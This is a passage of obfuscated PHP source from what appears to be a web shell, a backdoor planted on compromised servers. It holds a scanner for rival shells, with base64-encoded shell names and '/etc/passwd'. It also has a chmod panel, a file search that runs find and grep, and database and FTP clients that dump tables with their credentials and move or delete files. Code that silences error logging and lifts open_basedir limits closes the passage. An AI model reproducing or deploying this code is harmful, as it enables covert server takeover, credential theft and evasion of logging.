@preg_match(\'/\'.base64_decode("YmFja19jb25uZWN0fGJhY2tkb29yfHI1N3xQSFBKYWNrYWx8UGhwU3B5fEdpWHxGeDI5U2hlTEx8dzRjazFuZ3xtaWx3MHJtfFBocFNoZWxsfGsxcjR8RmVlTENvTXp8RmFUYUxpc1RpQ3p8VmVfY0VOeFNoZWxsfFVuaXhPbnxDOTltYWRTaGVsbHxTcGFtZm9yZHp8TG9jdXM3c3xjMTAwfGM5OXx4MjMwMHxjZ2l0ZWxuZXR8d2ViYWRtaW58U1RVTlNIRUxMfFByIXY4fFBIUFNoZWxsfEthTWVMZU9ufFM0VHxvUmJ8dHJ5YWd8bm9leGVjc2hlbGx8XC9ldGNcL3Bhc3N3ZHxyZXZlbmdhbnM=").\'/\',$content)) || @preg_match(\'/\'.base64_decode("ZXZhbC57MCwxMH1iYXNlNjRfZGVjb2Rl").\'/i\',$content)){ if($replace) $replaced=(z2w($file)?" : ".z9y("290"):" : ".z9y("291")); return "Possible backdoor".$replaced; } } return false; } function z0s($i,$t,$h,$a){ $r=z10w(z7u(z6l(\'<form method="POST" action="?" onsubmit="return chkfrm(\'\'.$i.\'\',\'\'.$t.\'\');">\'.\'<input type="hidden" name="\'.$t.\'" id="\'.$t.\'">\'.$h.z8m(z9y("63"),\'chkall(\'\'.$i.\'\',true);\', \'7\').z8m(z9y("64"),\'chkall(\'\'.$i.\'\',false);\', \'7\').z8m(z9y("65"),\'invall(\'\'.$i.\'\');\', \'7\').z3m(\'action\',$a,\'4\').z8b(z9y("77"),\'7\').\'</form>\',\'11\')),\'2\'); return "<script type=\"text/javascript\">document.write(\'".@str_replace("\'","\\'",@str_replace("
","",$r))."\');</script>"; } function z4n($f,$i,$id=\'\'){ return \'<script>document.write(\'<input type="checkbox" id="\'.$id.\'chk" name="\'.$i.\'" value="\'.$f.\'" onclick="changetr(this.id.replace(\\'chk\\',\\'\\'), this.checked);" style="vertical-align: middle;">\');</script>\'; } function z1z(){ return "<script type=\"text/javascript\">function fnc_replace(idT,idA,idB){ var strT=document.getElementById(idT).value; var strA=document.getElementById(idA).value; var strB=document.getElementById(idB).value; if(strA !=\'\' && strT.indexOf(strA)!=-1){ var repRegex=new RegExp(strA.escR(), \'g\'); document.getElementById(idT).value=strT.replace(repRegex, strB);};}; String.prototype.escR=function(){ var sChars=[ \'$\', \'^\', \'*\', \'(\', \')\', \'+\', \'[\', \']\', \'{\', \'}\', \'\\\', \'|\', \'.\', \'?\', \'/\' ]; var regex=new RegExp(\'(\\\' + sChars.join(\'|\\\') + \')\', \'g\'); return this.replace(regex, \'\\$1\');}</script>"; } function z3b(){ return \'<script type="text/javascript">
if(!document.getElementById){ if(document.all){ document.getElementById=function(){ if(typeof document.all[arguments[0]]!="undefined"){ return document.all[arguments[0]]; } else { return null; };};} else if(document.layers){ document.getElementById=function(){ if(typeof document[arguments[0]]!="undefined"){ return document[arguments[0]]; } else { return null; };};};}
function changecls(trid, newcls){ try { document.getElementById(trid).className = document.getElementById(trid).className.replace(/[a-zA-Z0-9]+/,newcls); } catch(err){} }
function changetr(trid, vbool){ if(vbool){ changecls(trid,"list3"); } else { if(trid.substr(0,3) == "tra"){ changecls(trid,"list1"); } else { changecls(trid,"list2");};};}
function chkfrm(inid, hid){ var inputs=document.getElementsByTagName("input");var ichk=[];for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked){ ichk.push(inputs[i].value);};};};if(ichk.length > 0){ document.getElementById(hid).value = ichk.join("
"); return true; } else { return false;};}
function chkall(inid,vbool){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ inputs[i].checked = vbool; changetr(inputs[i].id.replace(\'chk\', \'\'), vbool); };};}
function invall(inid){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked == true){ inputs[i].checked = false; changetr(inputs[i].id.replace(\'chk\', \'\'), false); } else { inputs[i].checked = true; changetr(inputs[i].id.replace(\'chk\', \'\'), true); };};};}
</script>\'; } function z3d($var,$f){ $val=\'\'; if(!empty($f)){ $reg=\'/\$\'.$var.\'\s*=\s*([\'"]{1})([^\s
]+)\s*;/\'; if(@preg_match($reg, $f, $m)){ $val=$m[2]; unset($m); } } unset($f); return $val; } function z2o($var,$f){ $val=\'\'; if(!empty($f)){ $reg=\'/([\'"]{1})\'.$var.\'[\s
]*=>[\s
]*([\'"]{1})([^\s
]+)/\'; if(@preg_match($reg, $f, $m)){ $val=$m[3]; unset($m); } } unset($f); return $val; } function z2u($var,$f){ $val=\'\'; if(!empty($f)){ $reg=\'/\[([\'"]{1})\'.$var.\'\][\s
]*=[\s
]*([\'"]{1})([^\s
]+)/\'; if(@preg_match($reg, $f, $m)){ $val=$m[3]; unset($m); } } unset($f); return $val; } function z1c($const,$f){ $val=\'\'; if(!empty($f)){ $reg=\'/define\s*\(([\'"]{1})\'.$const.\'\s*,\s*([\'"]{1})([^\s
]+)\s*\)\s*;/\'; if(@preg_match($reg, $f, $m)){ $val=$m[3]; unset($m); } } unset($f); return $val; } function z4b($type,$var,$f){ switch($type){ case \'var\': return z3d($var,$f); break; case \'const\': return z1c($var,$f); break; case \'arrayvar1\': return z2o($var,$f); break; case \'arrayvar2\': return z2u($var,$f); break; default: return \'\'; } } function z3k($s,$t=0){ $reg=\'[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))\'; if($t) return @preg_match(\'/^\'.$reg.\'$/i\',$s); $r=array(); if(@preg_match_all(\'/\'.$reg.\'/i\',$s,$m)){ foreach($m[0] as $em) $r[]=$em; } return @array_unique($r); } function z0k($a,$s=" and",$f=array()){ if(!@is_array($a)) $a=array(); $r=""; foreach($a as $k=>$v){ $p=""; if(!@empty($f[$k])) $p.=$f[$k]."("; $p.="\'".addslashes($v)."\'"; if(!@empty($f[$k])) $p.=")"; $r.="`".$k."` = ".$p.$s; } $r=@substr($r,0,@strlen($r)-@strlen($s)); return $r; } function z0c($file,$global=0,$dir=0){ $mode=@fileperms($file); if($dir){ $arr=($global ? array() : array("act","d","ctarget"=>$file,"chmod_submit"=>"1")); } else { $arr=($global ? array() : array("act","d","f","ft"=>"functions","ctarget"=>$file,"chmod_submit"=>"1")); } if($mode){ $perms=z9w($mode,1); $o=@decoct($mode); if(@strlen($o)>4) $o=@substr($o,-4); echo z3q(($dir?z9y("123"):z9y("93")).z9x().z4y($file)); echo z10w( z7u( z9c(z5x($arr, z10w( z5b(). z7u(z5t(z9y("94",\'\',1)).z9c(z5u("chmod_or",z9y("97"),"chmod_o[r]","1",(($perms["o"]["r"])?1:\'\')).z9x(5).z5u("chmod_ow",z9y("98"),"chmod_o[w]","1",(($perms["o"]["w"])?1:\'\')).z9x(5).z5u("chmod_ox",z9y("99"),"chmod_o[x]","1",(($perms["o"]["x"])?1:\'\'))).z9c(z9x())). z7u(z5t(z9y("95",\'\',1)).z9c(z5u("chmod_gr",z9y("97"),"chmod_g[r]","1",(($perms["g"]["r"])?1:\'\')).z9x(5).z5u("chmod_gw",z9y("98"),"chmod_g[w]","1",(($perms["g"]["w"])?1:\'\')).z9x(5).z5u("chmod_gx",z9y("99"),"chmod_g[x]","1",(($perms["g"]["x"])?1:\'\'))).z9c(z9x(5).z8b("Chmod","7"))). z7u(z5t(z9y("96",\'\',1)).z9c(z5u("chmod_wr",z9y("97"),"chmod_w[r]","1",(($perms["w"]["r"])?1:\'\')).z9x(5).z5u("chmod_ww",z9y("98"),"chmod_w[w]","1",(($perms["w"]["w"])?1:\'\')).z9x(5).z5u("chmod_wx",z9y("99"),"chmod_w[x]","1",(($perms["w"]["x"])?1:\'\'))).z9c(z9x())). z5b() ,"2")) ).z9c(z5x(array("act","d","f","ft"=>"functions","ctarget"=>$file,"chmod_submit"=>"1"), z10w( z7u(z5t(z9y("101")).z9c(z5y("chmod_val",$o,"1").z8b(z9y("100"),"7"))) ,"2")) ) ) ); } } function z0h(){ global $found, $nix, $sh_exec,$sn, $sn_reg, $s_in, $st,$st_reg,$st_wwo,$st_cs,$st_not,$s_fd,$s_rec; echo z3q(z9y("142")).z6s(); $as_fd=array(\'1\'=>z9y("144"), \'2\'=>z9y("145"), \'\'=>z9y("146")); $a_rec=array(\'\'=>z9y("21")); for($i=0;$i<10;$i++) $a_rec[($i+1)]=($i+1)." ".z9y("145"); $a_rec[\'no\']=z9y("22"); $a_paths=array(\'cwd\'=>\'cwd\',\'system\'=>\'system\',\'bin\'=>\'(s)bin dirs\',\'etc\'=>\'/etc\'); echo z5x(array(\'d\',\'act\'=>\'search\',\'ftarget\'=>\'1\'), z10w( z9d(z9c( z10w( z7u(z5t(z9y("143")).z9c(z6u("sn",@htmlspecialchars($sn),\'2\').z3m("s_fd",$as_fd,\'1\',\'1\').z3m("s_rec",$a_rec,\'1\',\'1\').z6o("submit", z9y("147"),\'7\').\' \'.z5u(\'sn_reg\',z9y("148"),\'sn_reg\'))). z7u(z5t(z9y("149")).z9c(z6u("s_in",htmlspecialchars($s_in),"9"))) ). z10w( z7u(z5t(z9y("150")).z9c(z6u("st",@htmlspecialchars($st),"9"))). z7u(z5t("").z9c(z5u("st_reg",z9y("151"),"st_reg").z9x("3").z5u("st_wwo",z9y("152"),"st_wwo").z9x("3"). z5u("st_cs",z9y("153"),"st_cs").z9x("3").z5u("st_not",z9y("154"),"st_not"))) ))))); echo z6s(); if($nix && $sh_exec){ echo z3q(z9y("155")).z6s(); global $findaliases,$unixfind,$find_text,$find_in_dir,$find_in_files,$find_defined,$spath,$lsman; if(!@isset($spath)) $spath=\'cwd\'; $find_result=""; if(@isset($unixfind)&&$unixfind=="1"&&@isset($find_text)&&!@empty($find_text)&&@isset($find_in_dir)&&!@empty($find_in_dir)&&@isset($find_in_files)&&!@empty($find_in_files)){ $find_infiles=@array_unique(@explode(";",$find_in_files)); foreach($find_infiles as $find_in_file){ $find_result.=z9e(\'find "\'.$find_in_dir.\'" -name "\'.$find_in_file.\'" -print0|xargs -0 grep -E "\'.$find_text.\'"\',0); } } echo z5x(array(\'d\',\'act\'=>\'search\',\'unixfind\'=>\'1\'), z10w( z7u(z5t(z9y("156")).z9c(z6u("find_text",@htmlspecialchars($find_text),\'0\').z8b(z9y("147"),\'7\'))). z7u(z5t(z9y("149")).z9c(z6u("find_in_dir",@htmlspecialchars($find_in_dir),"9"))). z7u(z5t(z9y("157")).z9c(z6u("find_in_files",@htmlspecialchars($find_in_files),"9"))) ) ); echo z5x(array(\'d\',\'act\'=>\'search\',\'unixfind\'=>\'2\'), z10w( z7u(z5t(z9y("158")).z9c(z2k("find_defined", $findaliases,"0",\'1\').z3m(\'spath\',$a_paths,\'1\',\'1\').z8b(z9y("147"),\'7\').z5u("lsman",z9y("159"),\'lsman\',\'1\'))) ) ); echo z6s(); if(@isset($unixfind)&&$unixfind=="2"&&@isset($find_defined)&&!@empty($find_defined)){ if($spath==\'system\'){ $rep=\'/\'; } elseif($spath==\'etc\'){ $rep=\'/etc\'; } elseif($spath==\'bin\'){ $rep=\'/bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin\'; } else { $rep=\'"\'.$find_in_dir.\'"\'; } if(@isset($lsman)&&$lsman){ $find_defined=@str_replace(\' -ls\',\'\',$find_defined); } $find_defined=@str_replace(\'%path%\', $rep, $find_defined); $find_result=z9e($find_defined,0); } if(!@empty($find_result)){ if(@isset($lsman)&&$lsman){ global $ls_a, $act, $fullpath, $nolsmenu,$nohead; $tls_a=@explode("
", $find_result); $ls_a=array(); foreach($tls_a as $ls){ $ls=@trim($ls); if(!@empty($ls) && !@in_array($ls,$ls_a)) $ls_a[]=$ls; } if(@count($ls_a)>0){ $act="ls"; $fullpath=1; $nolsmenu=1; $nohead=1; } } else { echo z10w(z9d(z6l(z5w(\'\',\'1\',1).@htmlspecialchars($find_result).z5q())),\'2\'). z6s(); } } } } function z6m(){ global $images; return (@is_array($images)?$images:array()); } class zrc4 { function zenc ($pwd, $data, $ispwdHex = 0) { if ($ispwdHex) $pwd = @pack(\'H*\', $pwd); $key[] = \'\'; $box[] = \'\'; $cipher = \'\'; $pwd_length = @strlen($pwd); $data_length = @strlen($data); for ($i=0; $i<256; $i++){ $key[$i]=@ord($pwd[$i % $pwd_length]); $box[$i]=$i; } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $key[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $data_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $k = $box[(($box[$a] + $box[$j]) % 256)]; $cipher .= @chr(@ord($data[$i]) ^ $k); } return $cipher; } function zdec ($pwd, $data, $ispwdHex = 0){ return zrc4::zenc($pwd, $data, $ispwdHex); } } class my_sql{ var $host=\'localhost\'; var $port=\'\'; var $user=\'\'; var $pass=\'\'; var $base=\'\'; var $db=\'\'; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect(){ switch($this->db){ case \'MySQL\': if(empty($this->port)){ $this->port=\'3306\'; } if(!@function_exists(\'mysql_connect\')) return 0; $this->connection=@mysql_connect($this->host.\':\'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case \'MSSQL\': if(empty($this->port)){ $this->port=\'1433\'; } if(!@function_exists(\'mssql_connect\')) return 0; $this->connection=@mssql_connect($this->host.\',\'.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case \'PostgreSQL\': if(empty($this->port)){ $this->port=\'5432\'; } $str="host=\'".$this->host."\' port=\'".$this->port."\' user=\'".$this->user."\' password=\'".$this->pass."\' dbname=\'".$this->base."\'"; if(!@function_exists(\'pg_connect\')) return 0; $this->connection=@pg_connect($str); if(is_resource($this->connection)) return 1; break; case \'Oracle\': if(!@function_exists(\'ocilogon\')) return 0; $this->connection=@ocilogon($this->user,$this->pass,$this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db(){ switch($this->db){ case \'MySQL\': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case \'MSSQL\': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case \'PostgreSQL\': return 1; break; case \'Oracle\': return 1; break; } return 0; } function list_dbs(){ $tmplist=array(); switch($this->db){ case \'MySQL\': $this->res=@mysql_list_dbs($this->connection); while ($tmprow = @mysql_fetch_object($this->res)) $tmplist[$tmprow->Database]=$tmprow->Database; break; case \'MSSQL\': break; case \'PostgreSQL\': break; case \'Oracle\': break; } return $tmplist; } function query($query){ $this->res=$this->error=\'\'; switch($this->db){ case \'MySQL\': if(false===($this->res=@mysql_query(\'/*\'.chr(0).\'*/\'.$query,$this->connection))){ $this->error=@mysql_error($this->connection); return 0; }else if(is_resource($this->res)){return 1;} return 2; break; case \'MSSQL\': if(false===($this->res=@mssql_query($query,$this->connection))){ $this->error=\'Query error\'; return 0; }else if(@mssql_num_rows($this->res)>0){return 1;} return 2; break; case \'PostgreSQL\': if(false===($this->res=@pg_query($this->connection,$query))){ $this->error=@pg_last_error($this->connection); return 0; }else if(@pg_num_rows($this->res)>0){return 1;} return 2; break; case \'Oracle\': if(false===($this->res=@ociparse($this->connection,$query))){ $this->error=\'Query parse error\'; }else{ if(@ociexecute($this->res)){ if(@ocirowcount($this->res)!=0) return 2; return 1; } $error=@ocierror(); $this->error=$error[\'message\']; } break; } return 0; } function get_result(){ $this->rows=array(); $this->columns=array(); $this->get_num_fields(); $this->get_num_rows(); switch($this->db){ case \'MySQL\': while(false!==($this->rows[]=@mysql_fetch_assoc($this->res))); if($this->num_fields){ $this->columns=@array_keys($this->rows[0]); if(@count($this->columns)<1) $this->get_columns(); @mysql_free_result($this->res); return 1; } @mysql_free_result($this->res); break; case \'MSSQL\': while(false!==($this->rows[]=@mssql_fetch_assoc($this->res))); if($this->num_fields){ $this->columns=@array_keys($this->rows[0]); if(@count($this->columns)<1) $this->get_columns(); @mssql_free_result($this->res); return 1; } @mssql_free_result($this->res); break; case \'PostgreSQL\': while(false!==($this->rows[]=@pg_fetch_assoc($this->res))); if($this->num_fields){ $this->columns=@array_keys($this->rows[0]); if(@count($this->columns)<1) $this->get_columns(); @pg_free_result($this->res); return 1; } @pg_free_result($this->res); break; case \'Oracle\': while(false!==($this->rows[]=@oci_fetch_assoc($this->res))); if($this->num_fields){ $this->columns=@array_keys($this->rows[0]); if(@count($this->columns)<1) $this->get_columns(); @ocifreestatement($this->res); return 1; } @ocifreestatement($this->res); break; } return 0; } function get_num_rows(){ $this->num_rows=0; switch($this->db){ case \'MySQL\': $this->num_rows=@mysql_num_rows($this->res); break; case \'MSSQL\': $this->num_rows=@mssql_num_rows($this->res); break; case \'PostgreSQL\': $this->num_rows=@pg_num_rows($this->res); break; case \'Oracle\': while(false!==(@oci_fetch_assoc($this->res))) $this->num_rows++; break; } } function get_columns(){ $this->columns=array(); $this->get_num_fields(); switch($this->db){ case \'MySQL\': for($i=0; $i < $this->num_fields; $i++){ if(@mysql_field_name($this->res, $i)!==false) $this->columns[]=@mysql_field_name($this->res, $i); } break; case \'MSSQL\': for ($i=0; $i < $this->num_fields; $i++){ if(@mssql_field_name($this->res, $i)!==false) $this->columns[]=@mssql_field_name($this->res, $i); } break; case \'PostgreSQL\': for($i=0; $i < $this->num_fields; $i++) { if(@pg_field_name($this->res, $i)!==false) $this->columns[]=@pg_field_name($this->res, $i); } break; case \'Oracle\': for($i=0; $i < $this->num_fields; $i++) { if(@ocicolumnname($this->res, $i)!==false) $this->columns[]=@ocicolumnname($this->res, $i); } break; } } function get_num_fields(){ $this->num_fields=0; switch($this->db){ case \'MySQL\': $this->num_fields=@mysql_num_fields($this->res); break; case \'MSSQL\': $this->num_fields=@mssql_num_fields($this->res); break; case \'PostgreSQL\': $this->num_fields=@pg_num_fields($this->res); break; case \'Oracle\': $this->num_fields=@ocinumcols($this->res); break; } } function parse_fields($table){ if(!$this->query(\'SELECT * FROM `\'.$table.\'` LIMIT 0,1;\')) return 0; return ($this->get_result() ? $this->num_fields : 0); } function count_rows($table){ $tmpcount=0; switch($this->db){ case \'MySQL\': $this->query(\'SELECT COUNT(*) FROM `\'.$table.\'`;\'); if(@is_resource($this->res)){ $tmp=@mysql_fetch_array($this->res); $tmpcount=$tmp[0]; } break; case \'MSSQL\': break; case \'PostgreSQL\': break; case \'Oracle\': break; } return (@is_numeric($tmpcount)?$tmpcount:0); } function dump($table){ if(empty($table)) return 0; $this->dump=array(); $this->dump[0]=\'##\'; $this->dump[1]=\'## ----------------------------------------------- \'; $this->dump[2]=\'## Dump date : \'.@date("d/m/Y H:i:s"); $this->dump[3]=\'## PHP shell : \'.z8u(); $this->dump[4]=\'## ----------------------------------------------- \'; $this->dump[5]=\'## SQL host : \'.$this->host.\':\'.$this->port; $this->dump[6]=\'## SQL user : \'.$this->user; $this->dump[7]=\'## SQL pass : \'.$this->pass; $this->dump[8]=\'## SQL db : \'.$this->base; $this->dump[9]=\'## SQL table : \'.$table; $this->dump[10]=\'## ----------------------------------------------- \'; switch($this->db){ case \'MySQL\': $this->dump[0]=\'## MySQL dump\'; if($this->query(\'/*\'.chr(0).\'*/ SHOW CREATE TABLE `\'.$table.\'`\')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[]=$this->rows[0][\'Create Table\']; $this->dump[]=\'## ----------------------------------------------- \'; if($this->query(\'/*\'.chr(0).\'*/ SELECT * FROM `\'.$table.\'`\')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++){ foreach($this->rows[$i] as $k=>$v){ $this->rows[$i][$k]=@mysql_real_escape_string($v); } $this->dump[]=\'INSERT INTO `\'.$table.\'` (`\'.@implode("`, `",$this->columns).\'`) VALUES (\'\'.@implode("\', \'",$this->rows[$i]).\'\');\'; } break; case \'MSSQL\': $this->dump[0]=\'## MSSQL dump\'; if($this->query(\'SELECT * FROM \'.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++){ foreach($this->rows[$i] as $k=>$v){ $this->rows[$i][$k]=@addslashes($v); } $this->dump[]=\'INSERT INTO \'.$table.\' (\'.@implode(", ",$this->columns).\') VALUES (\'\'.@implode("\', \'",$this->rows[$i]).\'\');\'; } break; case \'PostgreSQL\': $this->dump[0]=\'## PostgreSQL dump\'; if($this->query(\'SELECT * FROM \'.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++){ foreach($this->rows[$i] as $k=>$v){ $this->rows[$i][$k]=@addslashes($v); } $this->dump[]=\'INSERT INTO \'.$table.\' (\'.@implode(", ",$this->columns).\') VALUES (\'\'.@implode("\', \'",$this->rows[$i]).\'\');\'; } break; case \'Oracle\': $this->dump[0]=\'## ORACLE dump\'; break; default: return 0; break; } return 1; } function close(){ switch($this->db){ case \'MySQL\': @mysql_close($this->connection); break; case \'MSSQL\': @mssql_close($this->connection); break; case \'PostgreSQL\': @pg_close($this->connection); break; case \'Oracle\': @oci_close($this->connection); break; } } function affected_rows(){ switch($this->db){ case \'MySQL\': return @mysql_affected_rows($this->res); break; case \'MSSQL\': return @mssql_affected_rows($this->res); break; case \'PostgreSQL\': return @pg_affected_rows($this->res); break; case \'Oracle\': return @ocirowcount($this->res); break; default: return 0; break; } } } class ftp { var $server=""; var $port=21; var $user=""; var $userDir=""; var $password=""; var $connection=""; var $passive=false; var $systype=""; var $mode=FTP_BINARY; var $loggedOn=false; var $downloadDir=""; function ftp($server,$port,$user,$password,$passive=false){ $this->server=$server; $this->port=$port; $this->user=$user; $this->password=$password; $this->connect(); $this->setPassive($passive); } function connect(){ $this->connection=@ftp_connect($this->server,$this->port); $this->loggedOn=@ftp_login($this->connection,$this->user,$this->password); $this->systype=@ftp_systype($this->connection); return; } function setPassive($passive){ $this->passive=$passive; @ftp_pasv($this->connection,$this->passive); return; } function setMode($mode=1){ $this->mode=$mode; return; } function setCurrentDir($dir=false){ if($dir) @ftp_chdir($this->connection,$dir); $this->currentDir=z1k(@ftp_pwd($this->connection)); return $this->currentDir; } function setDownloadDir($dir){ $this->downloadDir=$dir; return; } function chmod($p,$f){ return @ftp_site($this->connection,"chmod $p $f"); } function cd($dir){ if($dir==".."){ @ftp_cdup($this->connection); }else{ if(!@ftp_chdir($this->connection,$this->currentDir.$dir)){ @ftp_chdir($this->connection,$dir); } } $this->currentDir=z1k(@ftp_pwd($this->connection)); return; } function is_dir($dir) { if (@ftp_chdir($this->connection, $dir)) { @ftp_chdir($this->connection, \'..\'); return true; } else { return false; } } function get($file,$dest=\'\',$t=0){ if($dest==\'\') $dest=$this->downloadDir; return @ftp_get($this->connection,($t?$dest:z1k($dest).z2l($file)),"$file",$this->mode); } function getRecursive($src,$dest=\'\'){ if($dest==\'\') $dest=$this->downloadDir; $target=z2l($src); $src=z1k($src); $dest=z1k($dest).$target; if(!z4r($dest)) @mkdir($dest); $list=@ftp_nlist($this->connection,$src); for($x=0;$x<@count($list);$x++){ $o=z2l($list[$x]); if($o!=\'.\' && $o!=\'..\'){ if($this->is_dir($src.$o)){ $this->getRecursive($src.$o,$dest); }else{ $this->get($src.$o, $dest); } } } } function getObject($src, $dest=\'\'){ if($dest==\'\') $dest=$this->downloadDir; if($this->is_dir($src)){ return $this->getRecursive(z1k($src), $dest); } else { return $this->get($src, $dest); } } function put($rf,$lf){ return (@file_exists($lf) ? @ftp_put($this->connection,$rf,$lf,$this->mode) : false); } function putRecursive($src,$dest=\'\'){ if($dest==\'\') $dest=$this->currentDir; $target=z2l($src); $src=z1k($src); $dest=z1k($dest).$target; $this->makeDir($dest); $list=z8x($src); for($x=0; $x<@count($list); $x++){ $o=z2l($list[$x]); if($o!="."&&$o!=".."){ if(z4j($src.$o)){ $this->putRecursive($src.$o,$dest); }else{ $this->put(z1k($dest).$o,$src.$o); } } } } function putObject($src, $dest=\'\'){ if($dest==\'\') $dest=$this->currentDir; $target=z2l($src); if(z4j($src)){ return $this->putRecursive($src, $dest); } else { return $this->put(z1k($dest).$target, $src); } } function deleteFile($rf){ return @ftp_delete($this->connection,"$rf"); } function deleteObject($obj){ $cobj=z2l($obj); if($cobj!=\'.\'&&$cobj!=\'..\'){ if($this->is_dir($obj)){ if($list=@ftp_nlist($this->connection,"$obj")){ for($x=0;$x<@count($list);$x++){ $o=z2l($list[$x]); if($o!=\'.\'&&$o!=\'..\'){ $this->deleteObject(z1k($obj).$o); } } } @ftp_rmdir($this->connection,"$obj"); }else{ $this->deleteFile("$obj"); } } } function rename($old,$new){ return @ftp_rename($this->connection,"$old","$new"); } function makeDir($dir){ return @ftp_mkdir($this->connection,"$dir"); } function parseline($raw) { if (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([^ ]+)[ ]+(.+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ]+(.*)/", $raw, $m)){ $l=array(($m[1]==\'d\'?\'d\':($m[1]==\'l\'?\'l\':\'f\')), $m[9], $m[6]); } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+(.*)[ ]+([a-zA-Z0-9 ]+)[ ]+([0-9:]+)[ ]+(.*)/", $raw, $m)){ $l=array(($m[1]==\'d\'?\'d\':($m[1]==\'l\'?\'l\':\'f\')), $m[6], $m[3]); } elseif (@preg_match("/([0-9\/-]+)[ ]+([0-9:AMP]+)[ ]+([0-9]*|<DIR>)[ ]+(.*)/", $raw, $m)){ $l=array(($m[3]=="<DIR>"?\'d\':\'f\'), $m[4], $m[3]); } elseif (@preg_match("/([-]|[d])[ ]+(.{10})[ ]+([^ ]+)[ ]+([0-9]*)[ ]+([a-zA-Z]*[ ]+[0-9]*)[ ]+([0-9:]*)[ ]+(.*)/", $raw, $m)){ $l=array(($m[1]==\'d\'?\'d\':\'f\'), $m[7], $m[4]); } elseif (@preg_match("/([a-zA-Z0-9_-]+)[ ]+([0-9]+)[ ]+([0-9\/-]+)[ ]+([0-9:]+)[ ]+([a-zA-Z0-9_ -\*]+)[ \/]+([^\/]+)/", $raw, $m)){ $l=array(($m[5]=="*STMF"?\'f\':\'d\'), $m[6], $m[2]); } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([a-zA-Z0-9]+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ](.*)/", $raw, $m)){ $l=array(($m[1]==\'d\'?\'d\':($m[1]==\'l\'?\'l\':\'f\')), $m[9], $m[6]); } else { $l=array(); } if (!@isset($l[1])||$l[1] == "." || $l[1] == ".." || @substr($raw,0,5) == "total") return array(); return $l; } function ftpRawList($dir=\'\'){ if($dir==\'\') $dir=$this->currentDir; $files=array(); $list=@ftp_rawlist($this->connection,"-a ".$dir); if(@is_array($list)){ $i=0; foreach($list as $raw){ $line=$this->parseline($raw); if(@count($line)==3){ $files[$i]=$line; $i++; } } } return $files; } } if(@version_compare(@phpversion(),\'4.1.0\')==-1){ $_POST=&$HTTP_POST_VARS; $_GET=&$HTTP_GET_VARS; $_SERVER=&$HTTP_SERVER_VARS; $_COOKIE=&$HTTP_COOKIE_VARS; } if(@isset($_GET[\'act\']) && $_GET[\'act\']=="i"){ $img=$_GET[\'img\']; if(!@isset($_GET[\'getall\'])){ $img=@str_replace("~","",$img); foreach($index as $k=>$v){ if(@in_array($img,$v)){ $img=$k; break; } } if(@empty($images[$img])){ $img="small_unk"; if(@isset($_GET[\'exe\'])&&$_GET[\'exe\']) $img="cmd"; } $image=z9b($images[$img]); @ob_start(); $len=@strlen($image); @header("Cache-control: public"); @header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7)); @header(\'Last-Modified: \'.@date(\'r\')); @header(\'Accept-Ranges: bytes\'); @header(\'Content-Length: \'.$len); @header(\'Content-type: image/png\'); echo $image; @ob_end_flush(); }else{ z3z(); $r=\'\'; foreach($index as $a=>$b){ foreach($b as $d){ if($a!=$d){ if(@isset($images[$d])&&!@empty($images[$d])){ $r.=z7u(z9c("Remove \$images[".$d."]")); } } } } if($r!=\'\') echo z10w($r); @natsort($images); $k=@array_keys($images); $n=1; $r=\'\'; foreach($k as $u) $r .= z7u(z9c(($n++)).z9c($u).z9c(\'<img alt="" src="?act=i&img=\'.$u.\'" border="0">\')); echo z10w($r); z3j(); } exit(); } if(@function_exists(\'error_reporting\')){ @error_reporting(0); } if(@function_exists(\'ini_set\')){ @ini_set(\'display_errors\',0); @ini_set(\'error_log\',NULL); @ini_set(\'log_errors\',0); @ini_set(\'file_uploads\',1); @ini_set(\'assert.quiet_eval\',0); @ini_set(\'allow_url_fopen\',1); @ini_set(\'memory_limit\',\'256M\'); @ini_set(\'upload_max_filesize\',\'256M\'); @ini_set(\'magic_quotes_sybase\',0); @ini_set(\'magic_quotes_runtime\',0); @ini_set(\'magic_quotes_gpc\',0); @ini_set(\'open_basedir\',NULL); }elseif(function_exists(\'ini_alter\')){ @ini_alter(\'display_errors\',0); @ini_alter(\'error_log\',NULL); @ini_alter(\'log_errors\',0); @ini_alter(\'file_uploads\',1); @ini_alter(\'allow_url_fopen\',1); @ini_alter(\'memory_limit\',\'256M\'); @ini_alter(\'upload_max_filesize\',\'256M\'); @ini_alter(\'magic_quotes_sybase\',0); 